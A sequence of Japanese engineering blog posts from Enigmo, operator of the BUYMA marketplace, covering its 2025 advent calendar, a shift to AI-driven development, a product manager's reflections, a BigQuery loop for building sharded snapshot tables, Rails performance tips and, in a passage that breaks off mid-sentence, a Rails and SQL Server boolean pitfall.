具体的には、エニグモで初めてテックブログを書く方向けに、記事のテーマの考え方や執筆の進め方を解説するレクチャー会を実施しました。 レクチャー会では、以下のような内容を扱いました。 記事を書く目的の共有 テーマの考え方 記事の構成や書き方 レクチャー会の資料 テーマの考え方を説明した後は、実際に記事を書き進める際の流れについても、画面共有でデモンストレーションを行いました。 テーマ決定から情報整理、構成作成、リード文やタイトル作成までの流れをステップごとに分解し、「どのように記事を組み立てていくのか」をイメージできるようにしています。 また、ワークショップ形式を取り入れ、参加者がチームに分かれてテーマの検討や構成作成に取り組みながら、相談やディスカッションを行う時間を設けました。 ワークの中では、 * どのようなテーマを選んだか * テーマ設定で悩んだポイント * 書こうとしている内容や構成 * 書く中で詰まりそうな点 などを共有しながら進めてもらいました。 最後には全体でテーマや悩みを共有する時間も設け、他のメンバーの視点に触れることで、「自分の経験も記事になる」という実感につながるよう設計しました。 また、全体向けのレクチャーに加え、特に入社間もないメンバーに対しては個別に声がけを行い、テーマ設定や執筆の進め方についてフォローを行いました。 ショートミーティングを実施し、これまでの業務や担当プロジェクトを振り返りながら、その中にある技術的な工夫や、入社直後だからこそ気づけた改善点などをテーマとして言語化するサポートを行いました。 運営を通じた振り返り 今回は、例年の運営フローをベースにしながらも、初めて参加するメンバーへのサポートを強化したことが特徴でした。 その結果、新たに参加したメンバーが増えたことは、運営面でも大きな収穫だったと考えています。 レクチャー会に参加したものの、今回のアドベントカレンダーには参加できなかったメンバーも、「自分の経験でも記事を書けそう」「いつか書いてみたい」と感じるきっかけになっていれば、次回以降の参加につながる土台にはなっていると考えています。 アドベントカレンダーは年に一度の期間限定イベントではありますが、こうした毎年の積み重ねが、継続的なアウトプット文化を広げる大きなきっかけになると感じました。 また、今回の運用を通じて、いくつか改善したいポイントもあります。 まず、公開前のレビューが一部のメンバーに集中する場面がありました。 今後は、レビュー観点を整理したテンプレートの整備や、AIを活用したレビュー支援なども検討し、よりスムーズに進められる体制を整えていきたいと考えています。 また、アドベントカレンダーに限らず、継続的に発信しやすい状態をつくることも重要だと感じています。 そのため現在は、日常的なアウトプットを促進する仕組みづくりにも取り組んでいます。 さいごに 2025年もエニグモのアドベントカレンダーは、無事25日完走することができました。 従来の運営フローをベースにしつつ、初めて執筆するメンバーへのサポートを強化したことで、新しい参加の広がりにもつながりました。 今後も、より継続的に情報発信しやすい運営を目指していきます。 これからのエニグモ開発者ブログの発信を、ぜひご覧いただけると嬉しいです。
こんにちはVPoEの木村です。 会社として新年度を迎え少し経ちましたが、先月頭、エンジニア組織の今期以降の運営方針を社内向けに発表しました。今回はその方針について、ブログでもご紹介したいと思います。 テーマは 「AIの最大活用〜新開発フロー・体制へ移行〜」 と 「ベンチャー回帰〜ビジネス成果への直接貢献〜」 です。 先期の振り返り  〜再確認した内製エンジニア組織としての存在意義とAIの力〜 先期を振り返る時に欠かせないトピックとしてまず挙げられるのが、大規模メンテナンスを実施し、BUYMAのインフラ基盤をオンプレからAWSへ移行したことです。 事前に最大限リスクを取り除く努力はしたものの、一定のリスクを伴うビッグバン方式での移行になりましたが、やり遂げた後としては、なんとか力技で捩じ伏せることができたようなベンチャー感を思い出す感覚がありました。 長年運営してきたサービスの癖やパターンを知り尽くし、何があってもサービスを動かし続けてきた内製エンジニア組織だからこそ採れたアプローチだと思います。 また、時間的・人員的なリソースも十分とは言えないなかでも、AIをカウントされないプロジェクトメンバーとして、移行日直前に「本当はやりたいけど時間がない」という追い込みの作業を実現したり、移設中・直後の不具合調査の高速化などに活用することができました。 AI活用についてはそれ以外にも業務面、プロダクト面にも進み、リリースできた様々な機能追加や改善を振り返ると、数年分の成果を1年に詰め込んだような実りの多い期だったと感じます。今期はそんな成功パターンを組織全体へスケールさせていくため、「AIの最大活用」と「ベンチャー回帰」をテーマに前年踏襲をやめ、ドラスティックな方針転換を図ります。 方針1:AIの最大活用 〜新開発フロー・体制へ移行〜 「AIに仕事を奪われるのでは?」という漠然とした不安を持つのではなく、「全員でAI武装し『アベンジャーズ』になろう」というのが私たちのスタンスです。AIをフル活用可能な開発フローと体制に移行していきます。 新開発フロー 単なる作業の効率化にとどまらず、再構築された価値提供のパイプラインを生み出すために、下図のとおり全く新しいAI駆動開発フローへの移行を進めます。 AI駆動開発フロー 新開発フローのステップ は以下の通りです。 設計(人間+AI): Notion上でドキュメント作成。Notion AIを活用してPRD、要件定義書、タスク分解・計画を生成します。 仮実装(AI単独): ドキュメントをコンテキストとして、AIがIssueを立ててブランチ作成、実装、Pull Request作成までを完全自動化します。 本実装(人間+AI): 仮実装をチェックアウトし、Cursorを活用してローカルで動作確認・仕上げを実施します。 レビュー(AI→人間): AIによる静的解析と事前レビューを通過したものだけを人間がレビューします。 本フローを構築していくにあたり、細かいツールや技術選定は詰めていく必要はあるものの、ナレッジ管理ツールとして利用していたesaと、プロジェクト管理ツールとして利用していたRedmine/JiraはNotionへ移行・統合していきます。また、コード管理・CI/CDの基盤としてセルフマネージドでGitLabを利用してきましたが、生成AIのエコシステムへの統合がより進んでいるGitHubへと移行します。 このフローでは2の仮実装という、AIにより完全自動化されたステップが組み込まれていることがポイントです。これにより下図のように実装時の調整やQAでの不具合はすべてドキュメントにフィードバックされ、ドキュメントの成熟とともにAIで完全自動化されたステップの精度が向上し、全体が省力化され続けるサイクルを構築します。 AI駆動開発成熟の仕組み 新開発体制へ また、AIの支援により、今後は誰もが「知識のフルスタック化」を実現できる時代です。1人のマネージャーが複数チームをマネジメントするのはもちろん、フロントエンドエンジニアがバックエンドも含めてリードするなど、単独でもユーザーに価値提供できる「PM兼アーキテクト」として振る舞える人材を増やしていきます。 フルスタックへの回帰・フルサイクルへの挑戦 これは これまで分業化や専門性特化のチームを作ってきた 流れからの方針転換となり、個人やチームのフルスタック化フルサイクル化を進めていきます。 方針2:ベンチャー回帰 〜ビジネス成果への直接貢献〜 AIによってデリバリー(実装)が超効率化されていく今後、エンジニアは浮いたリソースで何を目指すべきでしょうか? その答えが「ベンチャー回帰」です(2000年代創業の弊社としては、スタートアップというよりベンチャーという言葉がしっくりきます)。 フィーチャーチームからミッションチームへ これまで、部としてはプロダクト開発のエンジニアを ドメインと呼ばれる3つのチーム に分けて運用してきており、それらは単に開発・運用する機能が割り振られた括りでしかありませんでした。 しかし今期からは、すべてのドメインがユーザーに直接届く「ビジネスミッション」を持つ体制へと方針転換します。 BUY: 購入者を強力に吸い上げ、集客とCVRを最大化する。 SELL: 世界中から商品を力強く吸い上げ、品揃えを最大化する。 SERVICE INFRA (SI): 決済や安心補償などの機能を提供し、ユーザーへの提供付加価値を最大化する。 単なる機能開発ではなく、全員が事業のKPIに直結したミッションを追い求める。この構造こそが、私たちの目指す真のベンチャー回帰の姿です。 新キャリアラダーを設計 また、全員がビジネス成果にコミットする組織へ進化するため、エンジニアのキャリアラダー(評価軸)もアップデートしました。従来の「デリバリー」中心の評価から、以下の6つの軸による評価へと拡張しています。 アウトカム :事業成果に接続した意思決定ができているか。 ディスカバリー :ユーザーの課題を正しく再定義できるか。 デリバリー: 設計〜実装〜テスト〜リリースを安定して回せるか。 運用:SLO/障害/コスト/セキュリティを背負えるか。 コラボレーション(協働) :チームビルディングや他職種との協働。 レバレッジ : 仕組み化・標準化により、組織全体の生産性を引き上げる力。 実はこの6軸は、元々「AI時代に合わせよう」として作ったものではありません。先期の振り返りで再認識した「外部パートナーにはできない、内製エンジニア組織ならではの価値とは何か?」を徹底的に言語化した結果生まれたものです。 しかし興味深いことに、「内製組織の本質」を追求したこの6軸は、AI活用が進む時代にエンジニアに求められると思われるスキルセットとしてみても全く不自然ではありませんでした。 例えば、AIで簡単にモノが作れるようになったからこそ、「どこまでこだわるべきか」を事業成果から逆算するアウトカムや、本質的なユーザー課題を見極めるディスカバリーの重要性が増しています。また、AIには代替できない人間同士の高度なコラボレーションも不可欠です。 中でも 「レバレッジ」 は、次世代エンジニアのコアとなる概念です。日々の案件を無事にデリバリーするだけでなく、「AI駆動開発を実現し、価値提供のパイプライン自体を自分たちで構築・改善する(仕組みを創る)」ことが求められます。この仕組み作りは専任チームに任せるのではなく、各チーム自らが構築し、組織全体をブーストさせる姿勢を高く評価します。 まとめ 以上が、今期からのエンジニア組織の新しい運営方針です。 今のエニグモの環境で「事業にコミットし、AIで開発パイプライン自体を創り上げる」という経験は、 こちらの記事 でも語られているどこに行っても通用する非常に高い市場価値につながると確信しています。 この方針は決して理想を描いただけではありません。先期のAI活用の実績という裏付けがあり、NotionやGitHub、AIコーディングエージェントを全社で導入するための予算もしっかり確保してスタートしています。 「いつかできたら」ではなく「今年できる」。今期もこのスローガンを胸に、圧倒的な成果を生み出す1年に していきたいと思います。
はじめに KNと申します。 2025年2月に株式会社 エニグモ に入社し、プロダクトマネージャー(PdM)として約1年が経過しました。 前職では新卒でWeb系企業にエンジニアとして入社し、3年間従事しました。 文系出身ながら AWS でのインフラ構築・メンテナンスからバックエンド・フロントエンドの開発まで、幅広く経験しました。 その後、社内転職でPdMへとキャリアをシフトし、 フィンテック サービスのグロースを担当していました。 私が エニグモ への転職を決めたのは、20年続く「 BUYMA 」というプロダクトが持つ圧倒的な蓄積に惹かれたからです。 しかし同時に、「歴史があるがゆえに、動きが遅く、 部分最適 の調整に追われるのではないか」という懸念もありました。 結果として、この1年間で得られたものは予想を遥かに超えるものでした。 この記事では、 エニグモ で経験した学びと、20年続くプロダクトの「厚み」がもたらす価値について記します。 自身の業務領域 BUYMA は世界180カ国、22.5万人以上のパーソナルショッパー(出品者)が支える、唯一無二の「お買い物代行」プラットフォームです。 現在、私は BUYMA の 「出品者領域(SELL)」と、決済・配送・基盤を支える「サービスインフラ(SI)」 の2つを横断して担当しています。 SELL領域: 出品者がいかにストレスなく、質の高い出品を行えるか SI領域: 配送、決済、CS、 経理 。取引の全工程を支える「心臓部」 この2つを同時に見ることは、一見すると負荷が高いように思えます。 しかし、「出品の仕様変更が、数カ月後の 経理 処理やCSの問い合わせにどう影響するか」を予見しながら動く経験は、プロダクトを「機能の集合体(点)」ではなく「エコシステム(面)」として捉える視座を私に与えてくれました。 エニグモ の組織図 入社の決め手:20年の蓄積がもたらす土壌 転職活動をしていた当時、私が最も重視していたのは「自身の仮説構築や施策立案の精度を向上させること」でした。 前職の新規事業では、スピード感を持って施策を回していましたが、比較対象となる過去データが少なく、「打席には立つが、なぜ当たった(外れた)かの深い洞察」が不足している感覚がありました。 2005年から続く BUYMA には、膨大な成功と、それを上回る「失敗の経験」があるのではないかと仮定していました。それは、自身が望む次の仮説を研ぎ澄ませるために非常に魅力的な場所だと感じました。 あえて歴史のある環境に身を置くことで、中長期的な時間軸での「判断の軸」を手に入れ、今後どのようなフェーズのプロダクトでも通用するPdMになりたいと考えたのが、入社の最大の理由です。 www.buyma.com 入社後の学び ①バランス感覚が求められる エニグモ で最も鍛えられたのは、複数の視点を同時に持ち、 全体最適 を追求するバランス感覚です。 入社後に手がけた印象的なプロジェクトに、 経理 が企画を行った出品者に関連する機能開発がありました。 このプロジェクトは、 経理 、カスタマーサポート、出品者側の マーケティング 、エンジニア、デザイナーという多様な職種が集まったチームで進行しました。 プロジェクトの仕様決めの場面で、私は初めて「歴史の重さ」を実感しました。 経理 上の運用フローもあり、社内ニーズとユーザーニーズを調和させた運用となっていました。 その上で、機能開発という観点から出品者にとっての使いやすさ(ユーザービリティ)も確保しなければなりません。 さらに、問い合わせが発生した際のカスタマーサポートの対応負荷も事前に検討しておく必要がありました。 このように、1つの意思決定が複数の部署に影響を及ぼします。 そして、20年の歴史があるプロダクトでは、1つのルールを変更するだけでも、システム的にもビジネス的にも背景が膨大にあるため、定点を見て結論を出すことができません。 エニグモ では「出品者・購入者・ プラットフォーマー としてのルール作り・ルールを維持するための運用的可能性」という多面的な視点を同時に持つ必要があります。 この多面的なバランス感覚こそ、今後どのようなプロダクトに関わっても活かせる、PdMとしての 生存戦略 の核だと感じています。 ②組織のノウハウに対する レバレッジ エニグモ には、社歴が長い人が多く在籍しています。 先輩方は BUYMA の歴史を肌で知り、過去の成功と失敗を体験してきています。 ※平均勤続年数は6.3年(2025年10月時点) 入社当初、私は自分がまだ知らない領域について不安を感じていました。 しかし、実際に働いてみて気づいたのは、「自分がすべてを知っている必要はない」ということでした。 重要なのは、知識を持っている人が何を気にしていて、どのようなデータがあり、組織としてどこでバランスを取るべきかを考え、意思決定に繋げることです。 多くのプロジェクトでは、過去の事例やデータが膨大にあるため、各部署の担当者の背景理解や考慮すべき点の想定を事前から広く取ることが可能です。 例えば、カスタマーサポートのメンバーに相談すると、「過去に類似の仕様変更を実施した際、こういった問い合わせが急増した」という実例を教えてくれます。 経理 企画のメンバーに相談すると、「この処理フローは○年前にこういう理由で導入された」という背景を共有してくれます。 また、過去の意思決定に関するドキュメントが残っているため、ノウハウの探索がしやすいのも大きな利点です。 考慮しなければならない箇所や、とある対応策を取ろうとした時のメリット・デメリットの整理がしやすくなります。 これらの知見は、組織に蓄積された「ノウハウ」です。 エニグモ では「誰に聞けば良いか」「どのデータを見れば良いか」「過去のどのドキュメントを参照すれば良いか」を知っていれば、圧倒的に速く、精度の高い意思決定ができます。 そして、PdMの役割は、そのノウハウを レバレッジ として活用し、最適な意思決定を導くことです。 この組織知へのアクセス能力は、AIが進化しても決して代替されない、人間ならではの強みだと考えています。 ③意思決定の質とスピード エニグモ では、開発案件に応じて スクラム や アジャイル を使い分けながら開発を進めています。 サービスインフラ(SI)領域を例にとる、ビジネスサイドは10〜15名程度、エンジニアが5〜8名程度、PdMが2名程度で進行しており、密に連携しながら施策を推進します。 驚いたのは、意思決定のスピードと質の両立です。 前職では、スピード重視で施策を回していましたが、データが不足しているために「やってみなければわからない」という状況が多くありました。 一方、 エニグモ では20年分のデータとノウハウがあるため、「過去の類似施策ではこうだった」「このセグメントのユーザーはこう動く」という根拠に基づいた意思決定ができます。 また、AI活用も積極的に進められています。例えば、 BUYMA には「AIでさがす」機能があり、Vertex AI SearchやGeminiを活用し、より BUYMA らしい商品提案が可能になりました。 『「AIでさがす」サービスのリニューアル』について このように、歴史という「深い土壌」とAIという「速い道具」が揃っていることで、意思決定の質とスピードが同時に高まっています。 AIによって解決できる課題の量と幅は拡張されていますが、「何を解くべきか」を判断するのは人間の役割です。 そして、その判断の精度を高めるのが、プロダクトの厚みから得られる「物事の見方」と「意思決定プロセスの判断軸」です。 歴史の重さと向き合う難しさ ここまでポジティブな面を中心に書いてきましたが、正直に言えば、苦労したポイントもあります。 各部署との調整と、歴史の重さを考慮した意思決定は、想像以上に難しいものでした。 1つのルールを変更するにしても、その変更がシステム的にもビジネス的にも背景が膨大にあるため、定点を見て結論を出すことができません。 複数の部署の意見を聞き、過去のドキュメントを読み込み、データを分析し、そして 全体最適 を追求する。 このプロセスは、スピード重視の新規事業とは異なる難しさがあります。 しかし、この「難しさ」こそが、PdMとしての成長を促してくれていると感じています。 なぜなら、今後どのようなプロダクトに関わっても活きる「面と深さを考えながらプロダクトを進行する」という実践知を経験できているからです。 今後やっていきたいこと この1年間で、私はプロダクトを「点」ではなく「面」で捉える視座を手に入れました。 SELL領域とSI領域を横断して担当することで、出品者の体験、購入者の体験、そしてそれらを支える基盤( 経理 ・配送・決済)、すべてが繋がっていることを実感しています。 しかし、まだ「面」のすべてを理解しているわけではありません。 今後は、一部門だけでなく、ユーザー体験全体を「面」で捉え、形にしていくことに挑戦したいと考えています。 エニグモ には、歴史という「深い土壌」と、AIという「速い道具」が揃っています。 この環境だからこそ、幅広く、深く、そして「形」にして、面としてのプロダクト磨きに取り組めると確信しています。 BUYMA は20周年を迎え、さらなる進化を続けています。私自身も、この蓄積の中で、PdMとしての 生存戦略 を磨き続けていきたいと思います。 エニグモ で働く魅力 最後に、 エニグモ で働く魅力をまとめます。 プロダクト・人材面でしっかりとした土壌がある 20年分のデータとノウハウ、そして社歴の長いメンバーが持つ知見。これらは、新規事業では決して得られない「厚み」です。 過去の意思決定に関するドキュメントが残っているため、ノウハウの探索がしやすく、考慮すべき点の整理が圧倒的に速くなります。 幅広く・高速にチャレンジができる AI活用や アジャイル 開発により、意思決定のスピードと質が両立されています。 若手でも裁量を持ってプロジェクトを推進できる環境です。 「AIでさがす」機能や類似画像検索の内製化など、最先端の技術を活用した施策に取り組めます。 バランス感覚が磨かれる 経理 ・出品者・カスタマーサポート・プロダクト全体という多面的な視点を持つことで、どのプロダクトにも通用する「究極のバランス感覚」が身につきます。  「専門性か、汎用性か」で迷うあなたへ。 エニグモ には、専門性を深めながら、汎用性も高められる環境があります。 AIに奪われない組織知を レバレッジ として活用し、プロダクト開発を通じて自己成長できる場所です。 もし、あなたがキャリア形成に不安を感じているなら、 エニグモ という「最強の土壌」で、一緒にプロダクトを磨いていきませんか。 株式会社 エニグモ すべての求人一覧 hrmos.co
こんにちは、 エニグモ の嘉松です。普段はデータ活用推進室にて、データ分析・データ活用の推進やMAツールを用いた CRM 施策などを担当しています。 本記事は Enigmo Advent Calendar 2025 の最終日(25日目)の記事です。1ヶ月間にわたり様々なテーマで繋いできたバトンも、いよいよ今回が最終回となります! 最終回は、データ分析・データ活用の裏側を支える技術にフォーカスし、BigQueryに関する(少しディープな)知見を共有します。 時点データとは? データ分析において、現時点のデータだけでなく「過去のある時点」のデータを保持しておくことは極めて重要です。例えば、ユーザーの注文回数、会員ランク、 保有 ポイント数、メール購読の有無などが挙げられます。 これらの 時点データ を毎月1日などのタイミングでスナップショットとして蓄積しておくことで、「過去と現在の比較」や「特定の期間における推移」といった分析が容易になり、分析の幅は劇的に広がります。 しかし、過去に遡ってこれらのデータを作成しようとすると、なかなかの手間が発生します。例えば月次データを5年分作成する場合では60回のクエリ実行が必要となります。 そこで今回は、BigQueryの 手続き型言語 (Procedural language) を使い、ループ処理で過去分のシャーディングテーブルを一気に作成する方法をご紹介します。 BigQueryのシャーディングテーブルとは? table_YYYYMMDD という 命名規則 に基づき、物理的にテーブルを分割して管理する手法です。 例えば、 user_summary_20251201 のようにテーブル名の末尾に日付を付与します。 シャーディングを行うことで、必要な期間のデータだけをスキャン対象にできるため、処理に必要なデータ量およびクエリ費用を大幅に抑えることが可能です。 シャーディングテーブル作成の処理フロー 今回の処理の流れは以下の通りです。 指定した「開始年月」から「現在」まで、1ヶ月ごとにループさせる。 各月ごとに集計クエリを実行し、 table_YYYYMMDD 形式のテーブルを作成(または置換)する。 処理対象が現在を超えたらループを終了する。 START_MONTH (2022-01-01) ↓ [ LOOP開始 ] ↓ 1回目: 対象 2022-01-01 → CREATE TABLE dataset.table_20220101 2回目: 対象 2022-02-01 → CREATE TABLE dataset.table_20220201 ... 終了: 対象が「今月」を超えたら LEAVE サンプルコード 以下は、ループ処理を用いて過去テーブルを作成する スクリプト です。 -- 1. 変数の宣言と初期化 DECLARE START_MONTH DATE DEFAULT DATE ' 2022-01-01 ' ; -- 開始日を指定 DECLARE CURRENT_MONTH DATE ; DECLARE yyyymmdd STRING; DECLARE LOOP_CNT INT64 DEFAULT 0 ; -- 2. ループ処理の開始 LOOP -- 処理対象年月をセット(開始月からLOOP_CNT分だけ月を加算) SET CURRENT_MONTH = DATE_ADD(START_MONTH, INTERVAL LOOP_CNT MONTH); -- 3. 終了判定:処理対象年月が「今月」を超えたらループを抜ける IF CURRENT_MONTH > DATE_TRUNC( CURRENT_DATE ( ' Asia/Tokyo ' ), MONTH) THEN LEAVE; END IF ; -- テーブル接尾辞用にYYYYMMDD形式の文字列を作成 SET yyyymmdd = FORMAT_DATE( " %Y%m%d " , CURRENT_MONTH); -- 4. 動的SQLの生成と実行 -- EXECUTE IMMEDIATE FORMAT() でSQLを動的に組み立てて実行します EXECUTE IMMEDIATE FORMAT( """ -- ここに実行したいDDL(テーブル作成)を記述 CREATE OR REPLACE TABLE `your-project.your_dataset.user_summary_%s` AS SELECT user_id, -- 注文回数 count(*) as purchase_count FROM `your-project.source_dataset.transactions` WHERE -- 基準日(CURRENT_MONTH)以前の注文データに絞り込み DATE(created_at, 'Asia/Tokyo') < '%s' GROUP BY 1 """ , yyyymmdd, CAST (CURRENT_MONTH AS STRING)); -- 5. カウンタを進める SET LOOP_CNT = LOOP_CNT + 1 ; END LOOP ; サンプルコードの解説 実装のポイントは以下の3点です。 1. LOOP と LEAVE による制御 BigQueryの 手続き型言語 には FOR 文もありますが、日付を柔軟に加算しながら処理したい場合は LOOP が適しています。無限ループを防ぐため、必ず IF ... THEN LEAVE; END IF; による脱出条件を記述しましょう。今回は DATE_TRUNC を使い、実行時の年月を超えた時点で停止するように設定しています。 2. EXECUTE IMMEDIATE による動的 SQL の実行 通常の SQL 文には変数を直接埋め込むことができない箇所(テーブル名など)があります。そのため、クエリ全体を文字列として組み立てて実行する EXECUTE IMMEDIATE を使用します。 FORMAT() 関数を用いると、 %s を使って変数値を流し込めるため、文字列結合( || )を繰り返すよりも可読性が高く、メンテナンスもしやすくなります。 3. 文字列のクォート扱いに注意 ここが最も重要なポイントです。動的 SQL の中で日付を リテラル として扱いたい場合、 %s の周りを シングルクォートで囲む 必要があります。 NG: DATE(created_at, 'Asia/Tokyo') < %s 展開後: ... < 2022-01-01 (数値の引き算として処理されてしまう) OK: DATE(created_at, 'Asia/Tokyo') < '%s' 展開後: ... < '2022-01-01' (正しい日付文字列として認識される) ループ処理活用のススメ 今回はシャーディングテーブルの作成を例に挙げましたが、このループ処理のテクニックは「 API 制限を回避するために1日ずつ処理する」「リソース枯渇を避けるために重たいクエリを分割実行する」といったシーンでも非常に有効です。 手作業による「温かみのある運用」から卒業し、スマートで快適なデータ基盤ライフを送りましょう! 25日間の感謝を込めて これにて Enigmo Advent Calendar 2025 は全25記事のバトンが繋がり、無事完走となります! 今年は様々な職域のメンバーが、それぞれの視点から技術や知見を共有してくれました。これらの記事が、皆様の日々の業務や課題解決のヒントとなれば望外の喜びです。 来たる2026年も、 エニグモ は BUYMA をはじめとするサービスを通じて新しい価値を創造してまいります。どうぞよろしくお願いいたします。 株式会社 エニグモ すべての求人一覧 hrmos.co
こんにちは!Webアプリケーションエンジニアの レミー です! この記事は Enigmo Advent Calendar 2025 の24日目の記事です。 Ruby on Rails アプリが遅いと感じるのは、ほぼ次の3の原因になります。 DBクエリが多すぎる (特に N+1、COUNT/EXISTS の使い分けミス、インデックス不足) 不要なデータを読み込みすぎる (テーブル全て/重いカラム全て取得、あるいは全部を RAM に書き込む) ビューの レンダリング /コールバックが働きすぎる (partial の多用、重いフォーマット処理、不要なコールバック/バリデーションの実行) この記事では、効果が見えやすいものに絞って、自分が特によく使う最適化10個をまとめます。 1. includes で N+1 クエリを防ぐ 問題: posts の一覧を取得して、view 側で post.user.name や post.comments.size のように関連を参照すると、20件なら20回(あるいはそれ以上)追加クエリが飛ぶ可能性があります。 解決: includes で関連を事前ロードします。 改善前: N+1 が発生 @posts = Post .order( created_at : :desc ).limit( 20 ) @posts .each do |post| post.user.name # 毎回 SELECT users... WHERE id = ? が走る可能性 end 改善後: includes を使用 @posts = Post .includes( :user ).order( created_at : :desc ).limit( 20 ) Rails は posts に紐づく users を1回のクエリでまとめてロードし、ループ内での追加クエリを防ぎます。 一覧を レンダリング して、ループ内で association を参照する( post.comments 、 post.user 、 order.items など)場合ではよく使われます。 重要ポイント: includes には 3 パターンがあり、 Rails が状況に応じて選びます。 preload : 常に 2 クエリ (postsとusers) eager_load : 常に LEFT OUTER JOIN (大きい 1 クエリ) includes : Rails が自動判断(preload になる場合も join になる場合もある) 2. 必要なカラムだけ取る: select / pluck 問題: User.all や User.where(...).to_a は 全カラム を引いてきます。 bio (text) 、 settings (jsonb) 、 avatar_data のよ うな重 いカラムも含まれがちです。実際には id と name だけで十分なケースも多いはずです。 解決: ActiveRecord オブジェクトは欲しい(でも最小限にしたい) select を使います。 users = User .where( active : true ).select( :id , :name ) users.first.name # OK 値の配列だけで十分(高速 + allocations 少なめ) pluck を使います。 ids = User .where( active : true ).pluck( :id ) pairs = User .where( active : true ).pluck( :id , :name ) # [[1, "A"], [2, "B"]] DB処理時間の短縮、返ってくるデータ量の削減、 Ruby 側の allocations 削減。 dropdown/select box で id と name だけが必要な時とか、バックグラウンドジョブで処理対象 id だけが必要な時などが使われます。 3. 存在するかどうかの確認なら exists? を使う 問題: relation に対して any? / present? で存在チェックをすると、不要にレコードを読み込んだり、最適でないクエリになったりすることがあります。 解決: exists? は EXISTS を使うため、目的に対して効率的になりやすいです。 改善前: 不要なロードが起こり得る User .where( email : email).any? 改善後: EXISTS を使う User .exists?( email : email) メール 重複チェック 、ユーザーが注文を持っているか、対象レコードが既にあるか、などの場合に使われます。 4. count / size / length を正しく使い分ける メソッド DB クエリは走る? どんなクエリ レコードをロードする? 使いどころ count あり(常に) SELECT COUNT(*) なし DB から正確な件数が必要なとき length 未ロードなら走る SELECT * あり(全件ロード) すでに records がロード済みだと確実できる時だけ size 状況による COUNT(*) または なし 自動 ActiveRecord / association では基本これが安全 association がロード済みか不明なときは、次のように size が安全です。 comments_count = post.comments.size view で association の件数を表示するなら、まずは size (または counter cache)を優先。 5. よく絞り込み/ソートするカラムに Index を貼る 問題: WHERE user_id = ... などがインデックスがないと、DB がテーブル全体をスキャンして重くなりがちです。 解決: WHERE / JOIN / ORDER BY によく出てくるカラムに index を追加します。 例: add_index :orders , :user_id add_index :users , :email , unique : true add_index :orders , [ :user_id , :created_at ] インデックス選びの目安: WHERE / JOIN によく出るカラム: index を追加 ORDER BY と filter がセットでよく出る: 複合インデックス (例 [:user_id, :created_at] )を追加 email/username のようなユニーク値: unique: true 確認方法: ログで遅いクエリを見つける、DB で EXPLAIN を実行して index が使われているか確認。 注意: index は読み込みを速くしますが、書き込みは少し遅くなる傾向があります。 6. 大量データは batch で処理する: find_each / in_batches 問題: User.where(...).each は全件を RAM に書き込む可能性があります。件数が多い(数万〜数百万)と、メモリが不足になって、worker/job が落ちる原因になります。 解決: find_each で バッチ処理 します。 find_each は 主キーによるページングで、メモリには 1 バッチ分だけ保持します。 User .where( active : true ).find_each( batch_size : 1000 ) do |user| # user を1件ずつ処理 end バッチ単位で処理したい(特に一括更新)なら in_batches が便利です。 User .where( active : true ).in_batches( of : 1000 ) do |relation| relation.update_all( flag : true ) end rake タスク、データの移行作業、数万件以上のレコードを扱うジョブなどに使われます。 7. コールバックが不要なら bulk update/delete: update_all / delete_all 問題: 1万件を each { update } すると、1万回のクエリに加えて validations/callbacks が走ります。場合によってはメール送信なども巻き込まれて重くなります。 解決: 1クエリでまとめて処理します。 # 一括更新 User .where( id : ids).update_all( active : false ) # 一括削除 Log .where( " created_at < ? " , 30 .days.ago).delete_all 重要: update_all / delete_all は バリデーションとコールバックを完全にスキップします。 フラグを一括変更、単純なデータ修正、ログの削除などに使われます。 8. association の件数表示には counter cache を使う 問題: 一覧で「コメント数」を表示するために post.comments.count を多用すると重くなります。 includes(:comments) にしても comments が多いとそれ自体が重くなることがあります。 解決: comments_count のようなカラムに件数を保持します(counter cache)。 # posts に comments_count を追加 add_column :posts , :comments_count , :integer , default : 0 , null : false # counter cache を有効化 class Comment < ApplicationRecord belongs_to :post , counter_cache : true end 以降は post.comments_count を使えます。 これは、一覧ページや管理画面など「件数表示」があちこちに出てくる画面で特に効きます。 注意: 読み込みは非常に速くなりますが、コメント作成/削除時に post 側のカラム更新が 1 回増えます。 9. 高コストな処理は Rails .cache.fetch でキャッシュする 問題: 重いクエリや計算(トップの記事、統計、設定値など)を毎リクエスト再計算してしまう。 解決: TTL と分かりやすい key を持ったキャッシュを使います。 top_posts = Rails .cache.fetch([ " top_posts " , Date .current], expires_in : 10 .minutes) do Post .published.order( score : :desc ).limit( 20 ).pluck( :id , :title ) end キー設計は ["feature_name", version, params...] の配列にすると、管理しやすいです。 expires_in も付けて意図せず永続化する事故を避けましょう。 10. view をキャッシュする(fragment / collection caching) 問題: DB はそこまで遅くないのに、partial が多い、フォーマット処理が重いなどで view の レンダリング が遅くなる。 解決1: record 単位の fragment cache <% @posts .each do |post| %> <% cache(post) do %> < %= render "posts/post", post: post %> <% end %> <% end %> Rails はレコードのcache key(バージョン付き)を使うので、post が更新されるとキーも変わり、自然に無効化されます。 解決2: collection caching(短くて速い) < %= render partial: "posts/post", collection: @posts, cached: true %> レンダリング 時間とCPU使用量が大きく減ります。 Rails が遅い原因は、framework そのものというより、余計なことをしてしまっているコードにあることがほとんどです。まずは上の基本最適化から入れるだけで、複雑なキャッシュ設計やサーバー増強をしなくても、速くなるケースが珍しくありません。 明日の記事の担当はエンジニアの嘉松さんです。お楽しみに。
こんにちは、WEBエンジニアのChoi(チェ)です。 BUYMA の購入者向け機能を開発するチームで、主に SEO 改善の業務を担当しています。 この記事は Enigmo Advent Calendar 2025 の23日目の記事です。 Rails を使用する際は一般的に MySQL や PostgreSQL が使われますが、 BUYMA では用途に応じて SQL Server も使用しています。 最初は「どの SQL も大差ないだろう」と思っていましたが、運用を開始すると Rails + SQL Server 特有のトラブルに遭遇しました。 今回はその中でも、 エラーは一切出ないのに、結果だけが返ってこない という、かなり気づきにくかったケースをご紹介します。 boolean処理をめぐる誤解 RubyとSQLの違い テーブル定義を見て、ようやく原因に気づく MySQLやPostgreSQLであれば、どうなっていたか PostgreSQLの場合 MySQLの場合 なぜ SQL Server環境で表面化されたのか この経験から学んだこと boolean処理をめぐる誤解 ある API で、次のようにリクエストパラメータを条件に使っていました。 User.where(active: params[:active]) エラーは発生せず、一見すると問題なさそうに見えました。 しかし実際には、エラーは発生しないものの、条件に一致するデータがまったく返ってこないという現象が起きていました。 SQL ログを確認すると、発行されていたのは次のような SQL です。 WHERE active = 'true' この時点ではまだ、 「文字列になっているのが問題なんだ」 という程度の認識でした。 しかし「文字列になっていたら、trueに暗黙的に変換されるのではないのか?」という疑問も浮かびました。 Ruby と SQL の違い Ruby では、次のようなコードが成立します。 if 'false' # 実行される end Ruby 